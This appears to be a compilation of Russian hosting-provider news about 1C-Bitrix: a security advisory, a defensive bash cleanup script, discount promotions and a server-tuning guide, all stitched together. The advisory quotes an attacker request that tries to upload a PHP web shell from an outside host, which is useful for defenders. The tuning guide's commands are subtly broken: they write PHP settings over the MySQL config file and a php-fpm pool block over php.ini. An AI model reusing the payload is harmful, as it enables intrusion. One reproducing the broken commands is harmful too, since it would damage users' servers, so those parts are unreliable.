Риск DOS-атак на 1C-Битрикс: удалите демо-компоненты



За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты, внимательно настраивать опции самостоятельной регистрации пользователей при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает
Злоумышленник пользуется тем, что администратор не отключил самостоятельную регистрацию пользователей. Он создаёт фейковые учётные записи с именами, начинающимися на bitrixsupport_, чтобы маскировать их под технические. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile

с нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php

в попытке загрузить php-шелл на сервер.

Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать
Удалите ненужных пользователей с префиксом bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_— это не системные аккаунты, они не нужны и небезопасны.

Обновите 1С-Битрикс до последней версии.
Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
#!/bin/bash

# Bitrix Reg Security Fix v.0.0.5 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
#            может сломать некоторые скрипты на сайте
#            перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v

red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"

# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.5 beta"
printf "\n${green}$self_current_version\n${reset}"

# check privileges
if [[ $EUID -ne 0 ]]; then
	printf "\n${red}ERROR${reset} - This script must be run as root" 
	exit 1
fi

# one instance run lock
LOCKFILE=/tmp/bitrix_reg_fix.lock
exec 9>$LOCKFILE

if ! flock -n 9; then
    echo
    if command -v lsof >/dev/null 2>&1; then
        PID=$(lsof -t "$LOCKFILE" 2>/dev/null | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    elif command -v fuser >/dev/null 2>&1; then
        PID=$(fuser "$LOCKFILE" 2>/dev/null | tr ' ' '\n' | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    else
        printf "%s ${red}already exists${reset}\n\nInstall 'lsof -t' or 'fuser' to see the PID.\n" "$LOCKFILE"
    fi
    exit 1
fi

trap 'exec 9>&-; rm -f "$LOCKFILE"' EXIT

bitrix_fix_reg_paths () {
    echo
    if ! command -v nginx &> /dev/null; then
        echo "${red}ERROR.${reset} Nginx was not found"
        return 1
    fi

    echo "${green}Checking nginx paths${reset}" && echo

    htaccess_directives=("Order allow,deny" "Deny from all")
    
    # Define relative paths to check/create .htaccess files
    rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
               bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
    
    # Find all nginx root directives (standard root)
    mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
    
    # Find all nginx root_path directives (set $root_path)
    mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
    
    # Combine both types of paths
    all_paths=("${roots[@]}" "${root_paths[@]}")
    
    # Remove duplicates while preserving order
    declare -A seen
    unique_paths=()
    for path in "${all_paths[@]}"; do
        if [[ ! "${seen[$path]}" ]]; then
            seen["$path"]=1
            unique_paths+=("$path")
        fi
    done
    
    targets=()
    
    for root in "${unique_paths[@]}"
    do
        # Clean up path (remove trailing spaces/special characters)
        root=$(echo "$root" | xargs)
        
        for rel in "${rel_paths[@]}"
        do
            f="$root/$rel"
            d="$(dirname "$f")"
            
            # Check if directory exists
            if [ -d "$d" ]; then
                if [ -f "$f" ]; then
                    all_directives_exist=true
                    for directive in "${htaccess_directives[@]}"; do
                        if ! grep -q "^[[:space:]]*$directive" "$f"; then
                            all_directives_exist=false
                            break
                        fi
                    done
                    
                    if [ "$all_directives_exist" = false ]; then
                        printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
                        targets+=("$f")
                    fi
                else
                    printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
                    targets+=("$f")
                fi
            fi
        done
    done
    
    [ "${#targets[@]}" -ne 0 ] && {
        printf '\nApply changes? [Y/n]: '
        read -r ans
        case "${ans:-Y}" in
            Y | y)
                for f in "${targets[@]}"
                do
                    if [ -f "$f" ]; then
                        temp_file="$(mktemp)"
                        printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
                        \cat "$f" >> "$temp_file"
                        temp_result="$(mktemp)"
                        \head -n 2 "$temp_file" > "$temp_result"
                        \tail -n +3 "$temp_file" | \
                        \grep -v "^[[:space:]]*Order allow,deny$" | \
                        \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
                        \mv -f "$temp_result" "$f"
                        \rm -f "$temp_file"
                        printf '[OK] updated: %s\n' "$f"
                    else
                        mkdir -p "$(dirname "$f")"
                        printf "Order allow,deny\nDeny from all\n\n" > "$f"
                        printf '[OK] created: %s\n' "$f"
                    fi
                done
            ;;
            *)
                printf 'Aborted\n'
            ;;
        esac
    } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}

mysql_all_db_del_bitrixsupport () {
	echo

	found_any=0
	mysql_accessible=0

	check_mysql_connection() {
		local container_id="$1"
		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
		else
			mysql -e "SELECT 1;" &>/dev/null
		fi
	}

	process_deletion_confirm() {
		local db="$1"
		local container_id="$2"
		local container_image="$3"

		echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})\n"

		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		else
			mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		fi

		echo
		read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
		yn=${yn:-Y}

		if [[ "$yn" =~ ^[Yy]$ ]]; then
			if [[ -n "$container_id" ]]; then
				docker exec "$container_id" mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			else
				mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			fi

			if [[ -n "$container_id" ]]; then
				remaining=$(docker exec "$container_id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			else
				remaining=$(mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			fi

			if [[ "$remaining" -eq 0 ]]; then
				echo -e "${green}No remaining bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})${reset}"
				echo
			else
				echo -e "${red}Users still exist in $db${reset}"
				echo
			fi
		else
			echo "Skipping deletion for bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})"
			echo
		fi
	}

	# Docker MySQL
	if command -v docker &>/dev/null; then
		while read -r id image; do
			echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue

			check_mysql_connection "$id" || {
				echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
				continue
			}

			mysql_accessible=1

			dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
			      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

			while read -r db; do
				[[ -z "$db" ]] && continue

				docker exec "$id" mysql -N -e \
				"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

				users=$(docker exec "$id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

				if [[ "$users" -gt 0 ]]; then
					found_any=1
					process_deletion_confirm "$db" "$id" "$image"
				fi
			done <<< "$dbs"
		done < <(docker ps --format '{{.ID}} {{.Image}}')
	fi

	# Local MySQL
	if command -v mysql &>/dev/null; then
		check_mysql_connection "" || {
			echo "${red}ERROR.${reset} Cannot connect to local MySQL"
			return
		}

		mysql_accessible=1
		dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
		      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

		while read -r db; do
			[[ -z "$db" ]] && continue

			mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

			users=$(mysql -N -e \
			"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

			if [[ "$users" -gt 0 ]]; then
				found_any=1
				process_deletion_confirm "$db" "" ""
			fi
		done <<< "$dbs"
	fi

	[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
	echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}

block_all_register_in_nginx () {
    echo
    CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
    DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n  return 403;\n}\n'
    MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
    
    function check_nginx ()
    {
        nginx -t &> /dev/null
    }
    
    function apply_fix ()
    {
        local target_file="$1" config_type="$2"
        
        # Check if fix already applied
        grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
            echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
            return 0
        }
        
        echo "${red}DANGEROUS. Check with the developer first${reset}"
        read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
        answer=${answer:-N}
        [[ ! "$answer" =~ ^[Yy]$ ]] && return 1
        
        if [[ "$config_type" == "direct" ]]
        then
            # Direct modification of nginx config
            check_nginx || {
                echo "${red}nginx -t failed before fix${reset}"
                return 1
            }
            \cp -f "$target_file" "$target_file.bak"
            echo -e "$DENY_CODE" > "$target_file.tmp"
            cat "$target_file.bak" >> "$target_file.tmp"
            \mv -f "$target_file.tmp" "$target_file"
        else
            # Create include file for ISP Manager
            echo -e "$DENY_CODE" > "$target_file"
        fi
        
        if check_nginx && systemctl restart nginx
        then
            echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
            [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
            return 0
        else
            echo "${red}nginx -t failed after fix${reset}"
            [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
            check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
                echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
            return 1
        fi
    }
    
    # Main logic: apply fix based on environment
    if [[ -f "$CONF_FILE" ]]
    then
        apply_fix "$CONF_FILE" "direct"
    else
        if [[ -x "$MGR_BIN" ]]
        then
            apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
        else
            echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
            return 1
        fi
    fi
}

# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginx


Как ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration
if ($arg_register = "yes") {
    return 403;
}

Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

Добавьте файлы .htaccess со следующим содержимым:
Order allow,deny
Deny from all

Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess

Рекомендуем проверить ваш проект как можно скорее.

EOL Centos 7 и рецепт для Битрикс на Debian

30 июня 2024 года истекает срок поддержки операционной системы Centos 7.

Официальная оболочка от компании 1С-Битрикс — «1С-Битрикс: Веб-окружение» (BitrixEnv) и «1С-Битрикс: Битрикс24» (BitrixCRM) при этом доступна только для Centos 7. На сегодняшний день анонсов о выпуске оболочки для других операционных систем не публиковалось.

Поэтому мы добавили свой рецепт — Bitrix Setup, созданный на основе инструкции от разработчиков Битрикс. С его помощью вы сможете установить всё необходимое ПО для работы сайтов на CMS Битрикс. Рецепт доступен на Debian 11 и 12 версий.

Подробнее об установке рецепта можно прочитать в инструкции из нашей Базы знаний.
firstvds.ru/technology/nachalo-raboty-s-1s-bitriks-i-bitriks24-posle-avtomaticheskoy-ustanovki-iz-recepta

И напоминаем, что ещё у нас есть рецепт Bitrix GT с оптимальными настройками ПО для высокой оценки производительности сайтов на Битрикс. Bitrix GT теперь также доступен к установке на ОС Debian 11 и 12.

Срочная акция: скидки на все лицензии «Битрикс»



Встречаем август новой акцией! До конца месяца можно приобрести любую лицензию Битрикс со скидкой 15%.
Акция распространяется на первую покупку любой лицензии «1С-Битрикс: Управление сайтом»: Старт, Стандарт, Малый бизнес и Бизнес, а также Интернет-магазин + CRM Битрикс24, Портал Битрикс24.
firstvds.ru/services/bitrix-license

Но это ещё не всё! Повысить тариф действующей лицензии можно со скидкой 20% — также до 31 августа. Для этого просто отправьте заявку на апгрейд через систему тикетов в Личном кабинете.

P.S. При заказе нового VDS с лицензией Битрикс не забывайте про промокод HTTP200OK — получите скидку 25% на заказ сервера на любой выбранный период оплаты.
https://firstvds.ru

Новые тарифы VPS, цены снижены!

VPS - HyperHost

Рады сообщить, что мы запустили новую линейку тарифов VPS!
Теперь цена стартового тарифа еще ниже, а для всех остальных тарифов количество ресурсов стало еще больше!
И в честь запуска новой линейки виртуальных серверов, не можем не организовать для вас акцию. Оплатите любой тариф VPS на месяц или квартал и получите столько же — БЕСПЛАТНО!
Больше деталей об акции найдете в нашей статье.

Май — инструкции для Bitrix и не только, уязвимости месяца и скидка 33% на дедики

Пока не уехали в отпуск, проверьте сервер. Оплатили? Бэкапы есть? С безопасностью всё ок? Ах, молодцы — тогда ловите новые инструкции для настройки сервера. Но сперва похвастаемся.



4 июня в дата-центре завершились все профилактические работы, которые планировались до 8-го. Ура! Ребята — герои. Работали ночами, не покладая рук. Теперь мы уверены в каждом узле электропитания в ДЦ. Можно спать спокойно =)

Инструкции
Для Linux:
Для Windows:
Для Bitrix VM:
Все инструкции пишут наши админы и техконсультанты — ребята плохого не посоветуют. А ещё они готовят для вас обучающие видео про загрузку сайта и работу с панелями: текст, монтаж, говорящая голова в кадре — всё сами. Следите за нашими рассылками, скоро пришлём ролики.

Уязвимости месяца
Уязвимость в библиотеке PharStreamWapper затрагивает Drupal, Joomla и TYPO3 — позволяет загрузить вредоносный phar-файл и добиться выполнения размещённого в нём PHP-кода под видом легитимного phar-архива. Подробности на opennet.ru.

Проблема в Docker-образах дистрибутива Alpine. Джерри Гамблин (ведущий инженер Kenna Security) проверил тысячу самых популярных контейнеров из каталога Docker Hub — в 194 из них (19,4%) для root установлен пустой пароль без блокировки учётной записи. Подробности на opennet.ru.

И обновления месяца…
Вышел WordPress 5.2 — добавили проверку обновлений по цифровой подписи, дополнительные инструменты для отладки проблем, систему проверки совместимости с плагинами в текущей конфигурации и т.п. А вы уже обновились? Подробности на opennet.ru.

Итоги конкурса
Недавно мы разыграли PS4, Go Pro и iPhone XR. А ещё мерч и деньги на хостинг. Участвовали, но трансляцию с результатами не видели? Смотрите победителей на сайте.

Две недели горячих цен
У наших партнеров из FirstDEDIC новая акция. Дают скидку 33% на выделенные серверы с процессорами Xeon E3v6. Тем, кто чувствует, что скоро вырастет из VDS, советуем сходить на разведку.

Подписывайтесь на наши соцсети — самое интересное всегда анонсируем там.
vk.com/firstvds
www.facebook.com/FirstVDS

Для самых терпеливых и любознательных
Промокод MOLODTCA — даёт Разгон по цене Старта
на 1 месяц, для новых серверов

Производительность Битрикс: что сделать с сервером, чтобы сайт работал быстрее

От скорости сайта зависит многое: количество отказов, брошенных корзин. Согласно исследованию Google, большинство посетителей не ждёт загрузки больше 3 секунд и уходит к конкурентам. Бывает, что сайт тормозит только в момент пиковых нагрузок (часы наибольшей посещаемости, периоды акций) и вы теряете всех, кого так тщательно привлекали.

От чего зависит скорость сайта на Битриксе?
  • оптимизация компонентов сайта
  • набор модулей
  • оптимизация серверного ПО
  • достаточное количество ресурсов сервера
С оптимизацией компонентов сайта вам поможет разработчик. Но если есть навыки администрирования, можно перейти на nginx+php-fpm и оптимизировать настройки.

В большинстве случаев, чтобы повысить производительность, нужен анализ текущей нагрузки на сервер. Такое умеют наши администраторы. Но есть и базовые настройки, которых достаточно, чтобы улучшить производительность Битрикс на большинстве серверов. Америку не открываем, если вы хорошо знакомы с *nix, едва ли вы обнаружите что-то новое.

В качестве ОС будем использовать минимальную версию Debian 9. Потому что в предыдущей статье про производительность Битрикс мы использовали именно её. В конце сравним показатели получившейся конфигурации с BitrixVM.

Веб-сервер — Nginx
Лучшим решением будет использование в качестве веб-сервера Nginx. Он шустро работает со статичным контентом и не плодит форков, как это делает apache2. Форки apache2 часто оказываются причиной перерасхода сервером оперативной памяти, потому выбор Nginx снижает требования к объему RAM.

Ставим и конфигурируем Nginx:
apt install nginx
upstream php {
    server 127.0.0.1:9000;
}
server {
    root /var/www/html/;
    server_name _;
    listen 80 default_server;
    index index.php;
    location / {
        try_files \$uri \$uri/ /bitrix/urlrewrite.php?\$args;
    }
    location ~ \.php$ {
        include        fastcgi_params;
        fastcgi_pass   php;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME \$document_root/\$fastcgi_script_name;
    }
    location ~* \.(js|css|png|jpg|jpeg|gif|ico)\$ {
        expires max;
        log_not_found off;
    }
}


Важно! Это только базовая конфигурация, для специфичных функций могут понадобится дополнительные настройки. Наиболее совместимую конфигурацию можно взять из битрикс-окружения. Это учитывается в нашем GT-рецепте.

Сервер БД
В качестве сервера БД используем MariaDB 10.1 из репозитория ОС. Практика показывает, что для нашей задачи гнаться за последними версиями MySQL/MariaDB совершенно не обязательно — значительной разницы в производительности нет.

Важно! После развертывания сайта нужно выполнить «Проверку системы» с исправлением ошибок структуры БД, а также «Оптимизацию БД», оба действия выполняются в админке Битрикс. Эти операции создадут индексы и устранят фрагментацию, что благотворно скажется на производительности.

Ставим и конфигурируем MariaDB:
apt install mariadb-server
cat <<-\EOF >/etc/mysql/mysql.conf.d/server.conf
    [mysqld]
    innodb_buffer_pool_size=384M #это значение нужно подбирать исходя из размера innodb таблиц
    innodb_buffer_pool_instances=1 # По одному пункту на каждый Гб innodb_buffer_pool_size
    innodb_flush_log_at_trx_commit=2
    innodb_flush_method=O_DIRECT
    query_cache_type=1
    query_cache_size=16M
    query_cache_limit=4M
    key_buffer_size=256M
    join_buffer_size=2M
    sort_buffer_size=4M
    tmp_table_size=128M
    max_heap_table_size=128M
    thread_cache_size=4
    table_open_cache=2048
    max_allowed_packet=128M
    transaction-isolation=READ-COMMITTED
    performance_schema=OFF
    sql_mode=""
EOF


PHP-FPM
Ещё одна причина отказа от apache2 — использование php-fpm, наиболее быстрого режима работы php-интерпретатора. Наиболее производительной на текущей момент является php7.3, однако в официальном репозитории Debian 9 мы имеем php7. Из соображений связности с предыдущей статьей про производительность Битрикс тут мы тоже будем использовать php7 из репозитория Debian.

Ставим и конфигурируем php-fpm:
apt install php-fpm php-opcache php-mysqli php-gd php-curl php-xml php-mbstring php-json
cat <<-\EOF >/etc/mysql/mysql.conf.d/server.conf
    ;###Bitrix optimize
    date.timezone=Europe/Moscow
    short_open_tag=1
    max_input_vars=10000
    mbstring.func_overload=2 ;Этот пункт нужен если используется utf8
    mbstring.internal_encoding=utf-8 ;Этот пункт нужен если используется utf8
    upload_max_filesize=64M
    post_max_size=64M
    opcache.max_accelerated_files=100000
    realpath_cache_size=4096k
    memory_limit=512M
    pcre.jit=0
    opcache.revalidate_freq=0
EOF
cat <<-\EOF >/etc/php/7.0/fpm/php.ini
    [www]
    user = www-data
    group = www-data
    listen = 127.0.0.1:9000
    listen.allowed_clients = 127.0.0.1
    listen.owner = www-data
    listen.group = www-data
    pm = dynamic
    pm.max_children = 10
    pm.start_servers = 2
    pm.min_spare_servers = 2
    pm.max_spare_servers = 5
EOF


Governor
Этот пункт актуален только для выделенных серверов. Планировщик частоты процессора нужен для работы функций энергосбережения. Более низкие частоты процессора требуют меньше напряжения. В нашем случае потребности экономить электричество нет, потому нужно переключить планировщик в режим performance.

Настраиваем и применяем:
apt install cpufrequtils
echo 'GOVERNOR="performance"' > /etc/default/cpufrequtils
cpupower frequency-set --governor performance


Сравниваем производительность
Производительность получившейся конфигурации:


Производительность в окружении BitrixVM:



Если вы оптимизировали сервер по инструкции, но производительность всё равно не устраивает — нужно провести диагностику нагрузки и решить, что вам требуется:
1. Обратиться к разработчику для оптимизации кода
2. Найти дополнительные варианты оптимизации
Например, перенести сессии в оперативную память, настроить Nginx кеширование, заблокировать нежелательных ботов.
3. Добавить ресурсов сервера
Даже в случае с идеально написанным сайтом и не менее идеально оптимизированным сервером в какой то момент узким местом окажутся ресурсы.

Недостаток оперативной памяти не позволит полностью задействовать процессор, а избыток памяти при полностью загруженном работой процессоре не принесёт никакой пользы. Если узким местом оказывается пропускная способность сети — пришло время задуматься о переходе на выделенные серверы с гигабитным каналом. Как выбрать сервер для Битрикс есть в моей предыдущей статье.

Чтобы понять, какой вариант дальнейших действий ваш — обратитесь к системному администратору. Если ваш сайт на наших серверах для Битрикс — помогут наши ребята. Первый месяц после заказа сервера администрирование бесплатно.

Плюс для наших серверов под Битрикс можно использовать уже готовый рецепт с описанной оптимизацией — GT: для Centos7, с MariaDB (10.3), Nginx (1.14.2) и наиболее производительной версией php (7.3). Эти VDS живут на новейшем железе: высокочастотных процессорах Core i9-9900k и скоростных NVMe-дисках.
firstvds.ru/hosting/bitrix

Рекомендованный хостинг 1С-Битрикс - компетенция хостинга Apriorix


Получена компетенция уровня «Рекомендуемый хостинг», которая присваивается компаниям-партнерам, предоставляющим:
  • сертифицированные хостинг-услуги для PHP-проектов;
  • сертифицированные тарифные планы, соответствующие требованиям «1С-Битрикс: Управление сайтом» и 1С-Битрикс: Корпоративный портал».;

Также компания-партнер должна следовать инструкциям по настройке серверного ПО, а ее сотрудники получить соответствующую сертификацию и предоставлять консультацию пользователям по установке и настройке сервера для быстрой работы.

Требования к получению компетенции «Рекомендуемый хостинг» выше, чем для уровня «Сертифицированный хостинг». Для ее получения необходимо, чтобы тарифы партнера обеспечивали производительность, надежную работу и высокую скорость проектов на платформе «1С-Битрикс».

Apriorix оптимизирован для сайтов и интернет-магазинов, работающих на 1С-Битрикс, благодаря:
  • Высокоскоростным дискам NVMe (до 4х раз быстрее обычных) с выбором размера дискового пространства.
  • Возможности увеличения мощности и изменению параметров хостинга: выбирайте конфигурацию, в зависимости от потребностей Вашего сайта.
  • Выбору панели управления и системы: быстрая установка «Битрикс Веб-окружение» или стандартной панели управления.
  • Мгновенной генерации страниц. А также сортировок и фильтров, списков товаров и ajax-режима.
  • Соблюдения всех требований к нормам обслуживания проектов на 1С-Битрикс.
  • Предустановленному акселератору для ускорения.
Хостинга Apriorix протестирован специалистами компании с популярными решениями из Маркетплейса Битрикс, в том числе с режимом работы при включении «Композитного режима», автокешированием и gzip-сжатием.

Для наших клиентов всегда действуют специальные предложения:
Бонусы, бесплатный перенос сайта на новый хостинг и даже бесплатные услуги хостинга при заказе лицензий 1С-Битрикс!

Задать вопросы можно по телефонам 8 800 555 23 46, +7 (495) 580-30-45, +7 (917) 338-51-54, по электронной почте info@apriorix.com или заполнив специальную форму на сайте Apriorix.
Мы свяжемся с Вами в кратчайшие сроки!
apriorix.ru/hosting-bitrix/
cp.apriorix.com/billmgr#/extform/registration

Готовые решения на «1С-Битрикс» для бизнес-сайтов



Готовые решения на «1С-Битрикс» для бизнес-сайтов
Если вы создаёте сложный интернет-проект, то вам необходима функциональная и надёжная CMS с качественной поддержкой
от разработчика. На сайте REG.RU вы можете приобрести
уже готовые решения на «1С-Битрикс» — самой популярной платной CMS в Рунете. Система отлично подойдёт
для интернет-магазина, корпоративного сайта и даже одностраничника. Приобретая готовое решение на «1С Битрикс», вы получите качественный коммерческий продукт с хорошей скидкой на специализированный хостинг.
www.reg.ru/web-sites/cms/bitrix/

Битрикс это просто

Виртуальная машина Битрикс специально сконфигурирована для быстрого исполнения
программных продуктов «1С-Битрикс» и сразу же готова к работе!

На ней можно не только установить ознакомительные версии Битрикс, но и перенести готовые сайты.

Виртуальная машина (VDS/VPS) собрана на базе Linux CentOS 6.7 x64 и содержит уже настроенные и
работоспособные PHP, MySQL, Nginx, Apache.

Для VPS/VDS разработан специальный оптимизированный образ VDS-хостинга «Bitrix Окружение»,
который доступен при заказе любого тарифа VPS/VDS сервера. Но мы крайне рекомендуем тарифный план начиная с KVM-VPS2.

При заказе VDS/VPS необходимо заказать образ сервера «Bitrix-Centos6».

Настройки ПО специально подобраны под требования «1С-Битрикс: Bitrix Окружение».

В конфигурацию выделенного сервера входит:
  • Предустановленный «1С-Битрикс: Bitrix Окружение»
  • Nagios® Core™ Version 3.5.1
  • Munin version 2.0.25

Картинка — www.host96.ru/sites/files/bitrix-test.png
Производительность конфигурации на 19.05.2016 15:44:47 составляет 65.84

С 1 марта 2015 года повышаются цены на приобретение и продление продуктов «1С-Битрикс» в России

С 1 марта 2015 года повышаются цены на приобретение и продление продуктов «1С-Битрикс» в России.
Купить / продлить Битрикс по старым ценам у нас Вы можете строго до 26 февраля 2015 г.
Напоминаем про акцию: Хостинг и домен бесплатно.
www.hts.ru/ru/events/news/?id=169
www.hts.ru/ru/service/software/bitrix/